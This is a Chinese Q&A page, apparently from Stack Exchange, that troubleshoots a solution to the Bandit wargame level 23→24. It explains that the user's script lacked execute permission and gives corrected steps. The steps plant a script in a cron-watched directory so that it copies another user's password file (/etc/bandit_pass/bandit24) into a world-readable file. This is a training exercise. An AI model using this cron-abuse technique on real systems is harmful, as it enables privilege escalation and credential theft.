Bandit第23→24关解决方案无效,请求排查问题原因
Bandit23→24关卡脚本执行后密码文件为空的问题排查与解决
核心问题是你创建的script.sh没有设置可执行权限,导致bandit24用户运行cron脚本时无法执行你的脚本,因此密码文件始终为空。
问题分析
查看cron执行脚本的逻辑:
timeout -s 9 60 ./$i
这里直接用./$i执行脚本,要求目标文件必须拥有x(可执行)权限,否则执行会静默失败,不会产生任何输出。你的操作步骤中只设置了临时目录的权限,却没给script.sh添加执行权限,这是关键疏漏。
修正后的完整操作步骤
- 创建临时目录并开放权限:
mkdir -p /tmp/temporary chmod 777 /tmp/temporary
- 编写脚本并添加可执行权限:
cat > /tmp/temporary/script.sh << 'EOF' #!/bin/bash cat /etc/bandit_pass/bandit24 > /tmp/temporary/password EOF chmod +x /tmp/temporary/script.sh
- 创建密码文件并确保可写入:
touch /tmp/temporary/password chmod 666 /tmp/temporary/password
- 将脚本复制到cron监控的目录:
cp /tmp/temporary/script.sh /var/spool/bandit24/foo/
等待1分钟后,即可通过cat /tmp/temporary/password获取bandit24的密码。
内容的提问来源于stack exchange,提问作者Keinicke
相关产品推荐
相关产品推荐

